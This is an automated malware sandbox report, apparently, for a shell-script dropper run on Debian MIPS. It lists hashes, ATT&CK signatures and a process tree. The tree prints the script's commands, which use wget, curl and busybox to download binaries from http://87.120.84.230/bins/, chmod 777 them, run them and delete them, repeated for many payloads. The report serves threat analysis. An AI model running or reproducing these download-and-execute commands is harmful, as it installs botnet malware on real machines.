0c9572ec1acc840bac26136687760ba40cf38a36258d44d9091fa5cd543a2f51

Analysis

max time kernel
110s
max time network
113s
platform
debian-9_mipsel
resource
debian9-mipsel-20240611-en
resource tags

arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
05/11/2024, 02:05

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
0c9572ec1acc840bac26136687760ba40cf38a36258d44d9091fa5cd543a2f51.sh
Size 10KB
Sample241105-chvmasvlbl
SHA256 0c9572ec1acc840bac26136687760ba40cf38a36258d44d9091fa5cd543a2f51
MD5 9df6a14e6b4001c13a62b4575e200d63
SHA1 cf287c33fa75d8178ce187e258d33ff816a4e30e
SHA512 1977eaf21cf49b7ac8b52497369a28ca4f0d974fa98da6be70a5eea14c222d5d8566c1eb308d59da88d564637ecc999ce6ed42bb1c941edda62eb4b0b9ea6163
SSDEEP 192:Skc9kILGOtvHftOzUQoogUQWkakILGObvh:SxxtOSKz
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
847	chmod
877	chmod
883	chmod
895	chmod
907	chmod
925	chmod
943	chmod
733	chmod
739	chmod
745	chmod
811	chmod
825	chmod
955	chmod
967	chmod
785	chmod
973	chmod
865	chmod
913	chmod
919	chmod
931	chmod
937	chmod
817	chmod
901	chmod
763	chmod
889	chmod
949	chmod
871	chmod
961	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 10 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
890	EkneJaipBCkgRhNslRSJfXmvkq9qctY9Fk
898	wget
900	busybox
902	EkneJaipBCkgRhNslRSJfXmvkq9qctY9Fk
887	curl
888	busybox
899	curl
903	rm
886	wget
891	rm

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/l2K6aY5fUDeyN65XW9kWllFTG6s5WbPUnb	curl
File opened for modification	/tmp/osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX	curl
File opened for modification	/tmp/oCnv0IQMbfJ1EsRgvdf2VALWZYgiavRUtS	curl
File opened for modification	/tmp/oCnv0IQMbfJ1EsRgvdf2VALWZYgiavRUtS	curl
File opened for modification	/tmp/osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX	curl
File opened for modification	/tmp/BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE	curl
File opened for modification	/tmp/s0d31wnLhdZCld5iSMaS9vuR6mB74OCAAu	curl
File opened for modification	/tmp/NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3	curl
File opened for modification	/tmp/o0ZRtAPu0RW0ExB9CSA6I5cYVPx2GqZ2kP	curl
File opened for modification	/tmp/CoqkKyrjy7JrJ6jedGpZWMKkn7n0RbJGqX	curl
File opened for modification	/tmp/CoqkKyrjy7JrJ6jedGpZWMKkn7n0RbJGqX	curl
File opened for modification	/tmp/9D9KE7rkJRfrqBVSGvwDBAbKYvQJjTKKCd	curl
File opened for modification	/tmp/EkneJaipBCkgRhNslRSJfXmvkq9qctY9Fk	curl
File opened for modification	/tmp/EkneJaipBCkgRhNslRSJfXmvkq9qctY9Fk	curl
File opened for modification	/tmp/4cpWLxNrT5Fqbb2vGxpd9vw3CDBJ6vFARP	curl
File opened for modification	/tmp/GhNt6rXxUEEirffz4z7oIAxbYzT1B8DOtY	curl
File opened for modification	/tmp/s0d31wnLhdZCld5iSMaS9vuR6mB74OCAAu	curl
File opened for modification	/tmp/qhvgNbzhL0vwYNJAjfWQvijxB312fcwb61	curl
File opened for modification	/tmp/qhvgNbzhL0vwYNJAjfWQvijxB312fcwb61	curl
File opened for modification	/tmp/GhNt6rXxUEEirffz4z7oIAxbYzT1B8DOtY	curl
File opened for modification	/tmp/l2K6aY5fUDeyN65XW9kWllFTG6s5WbPUnb	curl
File opened for modification	/tmp/NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3	curl
File opened for modification	/tmp/wuDtEReN1mKqff26708hgYbu8Q5wvYNSD0	curl
File opened for modification	/tmp/4cpWLxNrT5Fqbb2vGxpd9vw3CDBJ6vFARP	curl
File opened for modification	/tmp/wuDtEReN1mKqff26708hgYbu8Q5wvYNSD0	curl
File opened for modification	/tmp/o0ZRtAPu0RW0ExB9CSA6I5cYVPx2GqZ2kP	curl
File opened for modification	/tmp/BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE	curl
File opened for modification	/tmp/9D9KE7rkJRfrqBVSGvwDBAbKYvQJjTKKCd	curl

/tmp/0c9572ec1acc840bac26136687760ba40cf38a36258d44d9091fa5cd543a2f51.sh
/tmp/0c9572ec1acc840bac26136687760ba40cf38a36258d44d9091fa5cd543a2f51.sh
1⤵
PID:703
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:707
- /usr/bin/wget
  wget http://87.120.84.230/bins/osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX
  2⤵
  PID:712
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:724
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX
  2⤵
  PID:730
- /bin/chmod
  chmod 777 osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX
  2⤵
  - File and Directory Permissions Modification
  PID:733
- /tmp/osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX
  ./osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX
  2⤵
  - Executes dropped EXE
  PID:734
- /bin/rm
  rm osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX
  2⤵
  PID:735
- /usr/bin/wget
  wget http://87.120.84.230/bins/BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE
  2⤵
  PID:736
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:737
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE
  2⤵
  PID:738
- /bin/chmod
  chmod 777 BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE
  2⤵
  - File and Directory Permissions Modification
  PID:739
- /tmp/BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE
  ./BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE
  2⤵
  - Executes dropped EXE
  PID:740
- /bin/rm
  rm BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE
  2⤵
  PID:741
- /usr/bin/wget
  wget http://87.120.84.230/bins/NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3
  2⤵
  PID:742
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:743
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3
  2⤵
  PID:744
- /bin/chmod
  chmod 777 NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3
  2⤵
  - File and Directory Permissions Modification
  PID:745
- /tmp/NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3
  ./NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3
  2⤵
  - Executes dropped EXE
  PID:746
- /bin/rm
  rm NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3
  2⤵
  PID:747
- /usr/bin/wget
  wget http://87.120.84.230/bins/CoqkKyrjy7JrJ6jedGpZWMKkn7n0RbJGqX
  2⤵
  PID:748
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/CoqkKyrjy7JrJ6jedGpZWMKkn7n0RbJGqX
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:751
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/CoqkKyrjy7JrJ6jedGpZWMKkn7n0RbJGqX
  2⤵
  PID:760
- /bin/chmod
  chmod 777 CoqkKyrjy7JrJ6jedGpZWMKkn7n0RbJGqX
  2⤵
  - File and Directory Permissions Modification
  PID:763
- /tmp/CoqkKyrjy7JrJ6jedGpZWMKkn7n0RbJGqX
  ./CoqkKyrjy7JrJ6jedGpZWMKkn7n0RbJGqX
  2⤵
  - Executes dropped EXE
  PID:765
- /bin/rm
  rm CoqkKyrjy7JrJ6jedGpZWMKkn7n0RbJGqX
  2⤵
  PID:767
- /usr/bin/wget
  wget http://87.120.84.230/bins/qhvgNbzhL0vwYNJAjfWQvijxB312fcwb61
  2⤵
  PID:768
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/qhvgNbzhL0vwYNJAjfWQvijxB312fcwb61
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:773
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/qhvgNbzhL0vwYNJAjfWQvijxB312fcwb61
  2⤵
  PID:781
- /bin/chmod
  chmod 777 qhvgNbzhL0vwYNJAjfWQvijxB312fcwb61
  2⤵
  - File and Directory Permissions Modification
  PID:785
- /tmp/qhvgNbzhL0vwYNJAjfWQvijxB312fcwb61
  ./qhvgNbzhL0vwYNJAjfWQvijxB312fcwb61
  2⤵
  - Executes dropped EXE
  PID:786
- /bin/rm
  rm qhvgNbzhL0vwYNJAjfWQvijxB312fcwb61
  2⤵
  PID:790
- /usr/bin/wget
  wget http://87.120.84.230/bins/o0ZRtAPu0RW0ExB9CSA6I5cYVPx2GqZ2kP
  2⤵
  PID:792
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/o0ZRtAPu0RW0ExB9CSA6I5cYVPx2GqZ2kP
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:798
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/o0ZRtAPu0RW0ExB9CSA6I5cYVPx2GqZ2kP
  2⤵
  PID:809
- /bin/chmod
  chmod 777 o0ZRtAPu0RW0ExB9CSA6I5cYVPx2GqZ2kP
  2⤵
  - File and Directory Permissions Modification
  PID:811
- /tmp/o0ZRtAPu0RW0ExB9CSA6I5cYVPx2GqZ2kP
  ./o0ZRtAPu0RW0ExB9CSA6I5cYVPx2GqZ2kP
  2⤵
  - Executes dropped EXE
  PID:812
- /bin/rm
  rm o0ZRtAPu0RW0ExB9CSA6I5cYVPx2GqZ2kP
  2⤵
  PID:813
- /usr/bin/wget
  wget http://87.120.84.230/bins/wuDtEReN1mKqff26708hgYbu8Q5wvYNSD0
  2⤵
  PID:814
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/wuDtEReN1mKqff26708hgYbu8Q5wvYNSD0
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:815
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/wuDtEReN1mKqff26708hgYbu8Q5wvYNSD0
  2⤵
  PID:816
- /bin/chmod
  chmod 777 wuDtEReN1mKqff26708hgYbu8Q5wvYNSD0
  2⤵
  - File and Directory Permissions Modification
  PID:817
- /tmp/wuDtEReN1mKqff26708hgYbu8Q5wvYNSD0
  ./wuDtEReN1mKqff26708hgYbu8Q5wvYNSD0
  2⤵
  - Executes dropped EXE
  PID:818
- /bin/rm
  rm wuDtEReN1mKqff26708hgYbu8Q5wvYNSD0
  2⤵
  PID:819
- /usr/bin/wget
  wget http://87.120.84.230/bins/4cpWLxNrT5Fqbb2vGxpd9vw3CDBJ6vFARP
  2⤵
  PID:820
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/4cpWLxNrT5Fqbb2vGxpd9vw3CDBJ6vFARP
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:821
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/4cpWLxNrT5Fqbb2vGxpd9vw3CDBJ6vFARP
  2⤵
  PID:822
- /bin/chmod
  chmod 777 4cpWLxNrT5Fqbb2vGxpd9vw3CDBJ6vFARP
  2⤵
  - File and Directory Permissions Modification
  PID:825
- /tmp/4cpWLxNrT5Fqbb2vGxpd9vw3CDBJ6vFARP
  ./4cpWLxNrT5Fqbb2vGxpd9vw3CDBJ6vFARP
  2⤵
  - Executes dropped EXE
  PID:826
- /bin/rm
  rm 4cpWLxNrT5Fqbb2vGxpd9vw3CDBJ6vFARP
  2⤵
  PID:829
- /usr/bin/wget
  wget http://87.120.84.230/bins/9D9KE7rkJRfrqBVSGvwDBAbKYvQJjTKKCd
  2⤵
  PID:830
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/9D9KE7rkJRfrqBVSGvwDBAbKYvQJjTKKCd
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:835
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/9D9KE7rkJRfrqBVSGvwDBAbKYvQJjTKKCd
  2⤵
  PID:842
- /bin/chmod
  chmod 777 9D9KE7rkJRfrqBVSGvwDBAbKYvQJjTKKCd
  2⤵
  - File and Directory Permissions Modification
  PID:847
- /tmp/9D9KE7rkJRfrqBVSGvwDBAbKYvQJjTKKCd
  ./9D9KE7rkJRfrqBVSGvwDBAbKYvQJjTKKCd
  2⤵
  - Executes dropped EXE
  PID:848
- /bin/rm
  rm 9D9KE7rkJRfrqBVSGvwDBAbKYvQJjTKKCd
  2⤵
  PID:851
- /usr/bin/wget
  wget http://87.120.84.230/bins/l2K6aY5fUDeyN65XW9kWllFTG6s5WbPUnb
  2⤵
  PID:852
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/l2K6aY5fUDeyN65XW9kWllFTG6s5WbPUnb
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:859
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/l2K6aY5fUDeyN65XW9kWllFTG6s5WbPUnb
  2⤵
  PID:864
- /bin/chmod
  chmod 777 l2K6aY5fUDeyN65XW9kWllFTG6s5WbPUnb
  2⤵
  - File and Directory Permissions Modification
  PID:865
- /tmp/l2K6aY5fUDeyN65XW9kWllFTG6s5WbPUnb
  ./l2K6aY5fUDeyN65XW9kWllFTG6s5WbPUnb
  2⤵
  - Executes dropped EXE
  PID:866
- /bin/rm
  rm l2K6aY5fUDeyN65XW9kWllFTG6s5WbPUnb
  2⤵
  PID:867
- /usr/bin/wget
  wget http://87.120.84.230/bins/oCnv0IQMbfJ1EsRgvdf2VALWZYgiavRUtS
  2⤵
  PID:868
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/oCnv0IQMbfJ1EsRgvdf2VALWZYgiavRUtS
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:869
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/oCnv0IQMbfJ1EsRgvdf2VALWZYgiavRUtS
  2⤵
  PID:870
- /bin/chmod
  chmod 777 oCnv0IQMbfJ1EsRgvdf2VALWZYgiavRUtS
  2⤵
  - File and Directory Permissions Modification
  PID:871
- /tmp/oCnv0IQMbfJ1EsRgvdf2VALWZYgiavRUtS
  ./oCnv0IQMbfJ1EsRgvdf2VALWZYgiavRUtS
  2⤵
  - Executes dropped EXE
  PID:872
- /bin/rm
  rm oCnv0IQMbfJ1EsRgvdf2VALWZYgiavRUtS
  2⤵
  PID:873
- /usr/bin/wget
  wget http://87.120.84.230/bins/GhNt6rXxUEEirffz4z7oIAxbYzT1B8DOtY
  2⤵
  PID:874
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/GhNt6rXxUEEirffz4z7oIAxbYzT1B8DOtY
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:875
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/GhNt6rXxUEEirffz4z7oIAxbYzT1B8DOtY
  2⤵
  PID:876
- /bin/chmod
  chmod 777 GhNt6rXxUEEirffz4z7oIAxbYzT1B8DOtY
  2⤵
  - File and Directory Permissions Modification
  PID:877
- /tmp/GhNt6rXxUEEirffz4z7oIAxbYzT1B8DOtY
  ./GhNt6rXxUEEirffz4z7oIAxbYzT1B8DOtY
  2⤵
  - Executes dropped EXE
  PID:878
- /bin/rm
  rm GhNt6rXxUEEirffz4z7oIAxbYzT1B8DOtY
  2⤵
  PID:879
- /usr/bin/wget
  wget http://87.120.84.230/bins/s0d31wnLhdZCld5iSMaS9vuR6mB74OCAAu
  2⤵
  PID:880
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/s0d31wnLhdZCld5iSMaS9vuR6mB74OCAAu
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:881
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/s0d31wnLhdZCld5iSMaS9vuR6mB74OCAAu
  2⤵
  PID:882
- /bin/chmod
  chmod 777 s0d31wnLhdZCld5iSMaS9vuR6mB74OCAAu
  2⤵
  - File and Directory Permissions Modification
  PID:883
- /tmp/s0d31wnLhdZCld5iSMaS9vuR6mB74OCAAu
  ./s0d31wnLhdZCld5iSMaS9vuR6mB74OCAAu
  2⤵
  - Executes dropped EXE
  PID:884
- /bin/rm
  rm s0d31wnLhdZCld5iSMaS9vuR6mB74OCAAu
  2⤵
  PID:885
- /usr/bin/wget
  wget http://87.120.84.230/bins/EkneJaipBCkgRhNslRSJfXmvkq9qctY9Fk
  2⤵
  - System Network Configuration Discovery
  PID:886
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/EkneJaipBCkgRhNslRSJfXmvkq9qctY9Fk
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:887
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/EkneJaipBCkgRhNslRSJfXmvkq9qctY9Fk
  2⤵
  - System Network Configuration Discovery
  PID:888
- /bin/chmod
  chmod 777 EkneJaipBCkgRhNslRSJfXmvkq9qctY9Fk
  2⤵
  - File and Directory Permissions Modification
  PID:889
- /tmp/EkneJaipBCkgRhNslRSJfXmvkq9qctY9Fk
  ./EkneJaipBCkgRhNslRSJfXmvkq9qctY9Fk
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:890
- /bin/rm
  rm EkneJaipBCkgRhNslRSJfXmvkq9qctY9Fk
  2⤵
  - System Network Configuration Discovery
  PID:891
- /usr/bin/wget
  wget http://87.120.84.230/bins/wuDtEReN1mKqff26708hgYbu8Q5wvYNSD0
  2⤵
  PID:892
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/wuDtEReN1mKqff26708hgYbu8Q5wvYNSD0
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:893
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/wuDtEReN1mKqff26708hgYbu8Q5wvYNSD0
  2⤵
  PID:894
- /bin/chmod
  chmod 777 wuDtEReN1mKqff26708hgYbu8Q5wvYNSD0
  2⤵
  - File and Directory Permissions Modification
  PID:895
- /tmp/wuDtEReN1mKqff26708hgYbu8Q5wvYNSD0
  ./wuDtEReN1mKqff26708hgYbu8Q5wvYNSD0
  2⤵
  - Executes dropped EXE
  PID:896
- /bin/rm
  rm wuDtEReN1mKqff26708hgYbu8Q5wvYNSD0
  2⤵
  PID:897
- /usr/bin/wget
  wget http://87.120.84.230/bins/EkneJaipBCkgRhNslRSJfXmvkq9qctY9Fk
  2⤵
  - System Network Configuration Discovery
  PID:898
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/EkneJaipBCkgRhNslRSJfXmvkq9qctY9Fk
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:899
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/EkneJaipBCkgRhNslRSJfXmvkq9qctY9Fk
  2⤵
  - System Network Configuration Discovery
  PID:900
- /bin/chmod
  chmod 777 EkneJaipBCkgRhNslRSJfXmvkq9qctY9Fk
  2⤵
  - File and Directory Permissions Modification
  PID:901
- /tmp/EkneJaipBCkgRhNslRSJfXmvkq9qctY9Fk
  ./EkneJaipBCkgRhNslRSJfXmvkq9qctY9Fk
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:902
- /bin/rm
  rm EkneJaipBCkgRhNslRSJfXmvkq9qctY9Fk
  2⤵
  - System Network Configuration Discovery
  PID:903
- /usr/bin/wget
  wget http://87.120.84.230/bins/4cpWLxNrT5Fqbb2vGxpd9vw3CDBJ6vFARP
  2⤵
  PID:904
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/4cpWLxNrT5Fqbb2vGxpd9vw3CDBJ6vFARP
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:905
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/4cpWLxNrT5Fqbb2vGxpd9vw3CDBJ6vFARP
  2⤵
  PID:906
- /bin/chmod
  chmod 777 4cpWLxNrT5Fqbb2vGxpd9vw3CDBJ6vFARP
  2⤵
  - File and Directory Permissions Modification
  PID:907
- /tmp/4cpWLxNrT5Fqbb2vGxpd9vw3CDBJ6vFARP
  ./4cpWLxNrT5Fqbb2vGxpd9vw3CDBJ6vFARP
  2⤵
  - Executes dropped EXE
  PID:908
- /bin/rm
  rm 4cpWLxNrT5Fqbb2vGxpd9vw3CDBJ6vFARP
  2⤵
  PID:909
- /usr/bin/wget
  wget http://87.120.84.230/bins/9D9KE7rkJRfrqBVSGvwDBAbKYvQJjTKKCd
  2⤵
  PID:910
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/9D9KE7rkJRfrqBVSGvwDBAbKYvQJjTKKCd
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:911
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/9D9KE7rkJRfrqBVSGvwDBAbKYvQJjTKKCd
  2⤵
  PID:912
- /bin/chmod
  chmod 777 9D9KE7rkJRfrqBVSGvwDBAbKYvQJjTKKCd
  2⤵
  - File and Directory Permissions Modification
  PID:913
- /tmp/9D9KE7rkJRfrqBVSGvwDBAbKYvQJjTKKCd
  ./9D9KE7rkJRfrqBVSGvwDBAbKYvQJjTKKCd
  2⤵
  - Executes dropped EXE
  PID:914
- /bin/rm
  rm 9D9KE7rkJRfrqBVSGvwDBAbKYvQJjTKKCd
  2⤵
  PID:915
- /usr/bin/wget
  wget http://87.120.84.230/bins/l2K6aY5fUDeyN65XW9kWllFTG6s5WbPUnb
  2⤵
  PID:916
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/l2K6aY5fUDeyN65XW9kWllFTG6s5WbPUnb
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:917
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/l2K6aY5fUDeyN65XW9kWllFTG6s5WbPUnb
  2⤵
  PID:918
- /bin/chmod
  chmod 777 l2K6aY5fUDeyN65XW9kWllFTG6s5WbPUnb
  2⤵
  - File and Directory Permissions Modification
  PID:919
- /tmp/l2K6aY5fUDeyN65XW9kWllFTG6s5WbPUnb
  ./l2K6aY5fUDeyN65XW9kWllFTG6s5WbPUnb
  2⤵
  - Executes dropped EXE
  PID:920
- /bin/rm
  rm l2K6aY5fUDeyN65XW9kWllFTG6s5WbPUnb
  2⤵
  PID:921
- /usr/bin/wget
  wget http://87.120.84.230/bins/oCnv0IQMbfJ1EsRgvdf2VALWZYgiavRUtS
  2⤵
  PID:922
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/oCnv0IQMbfJ1EsRgvdf2VALWZYgiavRUtS
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:923
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/oCnv0IQMbfJ1EsRgvdf2VALWZYgiavRUtS
  2⤵
  PID:924
- /bin/chmod
  chmod 777 oCnv0IQMbfJ1EsRgvdf2VALWZYgiavRUtS
  2⤵
  - File and Directory Permissions Modification
  PID:925
- /tmp/oCnv0IQMbfJ1EsRgvdf2VALWZYgiavRUtS
  ./oCnv0IQMbfJ1EsRgvdf2VALWZYgiavRUtS
  2⤵
  - Executes dropped EXE
  PID:926
- /bin/rm
  rm oCnv0IQMbfJ1EsRgvdf2VALWZYgiavRUtS
  2⤵
  PID:927
- /usr/bin/wget
  wget http://87.120.84.230/bins/GhNt6rXxUEEirffz4z7oIAxbYzT1B8DOtY
  2⤵
  PID:928
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/GhNt6rXxUEEirffz4z7oIAxbYzT1B8DOtY
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:929
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/GhNt6rXxUEEirffz4z7oIAxbYzT1B8DOtY
  2⤵
  PID:930
- /bin/chmod
  chmod 777 GhNt6rXxUEEirffz4z7oIAxbYzT1B8DOtY
  2⤵
  - File and Directory Permissions Modification
  PID:931
- /tmp/GhNt6rXxUEEirffz4z7oIAxbYzT1B8DOtY
  ./GhNt6rXxUEEirffz4z7oIAxbYzT1B8DOtY
  2⤵
  - Executes dropped EXE
  PID:932
- /bin/rm
  rm GhNt6rXxUEEirffz4z7oIAxbYzT1B8DOtY
  2⤵
  PID:933
- /usr/bin/wget
  wget http://87.120.84.230/bins/s0d31wnLhdZCld5iSMaS9vuR6mB74OCAAu
  2⤵
  PID:934
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/s0d31wnLhdZCld5iSMaS9vuR6mB74OCAAu
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:935
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/s0d31wnLhdZCld5iSMaS9vuR6mB74OCAAu
  2⤵
  PID:936
- /bin/chmod
  chmod 777 s0d31wnLhdZCld5iSMaS9vuR6mB74OCAAu
  2⤵
  - File and Directory Permissions Modification
  PID:937
- /tmp/s0d31wnLhdZCld5iSMaS9vuR6mB74OCAAu
  ./s0d31wnLhdZCld5iSMaS9vuR6mB74OCAAu
  2⤵
  - Executes dropped EXE
  PID:938
- /bin/rm
  rm s0d31wnLhdZCld5iSMaS9vuR6mB74OCAAu
  2⤵
  PID:939
- /usr/bin/wget
  wget http://87.120.84.230/bins/o0ZRtAPu0RW0ExB9CSA6I5cYVPx2GqZ2kP
  2⤵
  PID:940
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/o0ZRtAPu0RW0ExB9CSA6I5cYVPx2GqZ2kP
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:941
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/o0ZRtAPu0RW0ExB9CSA6I5cYVPx2GqZ2kP
  2⤵
  PID:942
- /bin/chmod
  chmod 777 o0ZRtAPu0RW0ExB9CSA6I5cYVPx2GqZ2kP
  2⤵
  - File and Directory Permissions Modification
  PID:943
- /tmp/o0ZRtAPu0RW0ExB9CSA6I5cYVPx2GqZ2kP
  ./o0ZRtAPu0RW0ExB9CSA6I5cYVPx2GqZ2kP
  2⤵
  - Executes dropped EXE
  PID:944
- /bin/rm
  rm o0ZRtAPu0RW0ExB9CSA6I5cYVPx2GqZ2kP
  2⤵
  PID:945
- /usr/bin/wget
  wget http://87.120.84.230/bins/osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX
  2⤵
  PID:946
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:947
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX
  2⤵
  PID:948
- /bin/chmod
  chmod 777 osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX
  2⤵
  - File and Directory Permissions Modification
  PID:949
- /tmp/osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX
  ./osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX
  2⤵
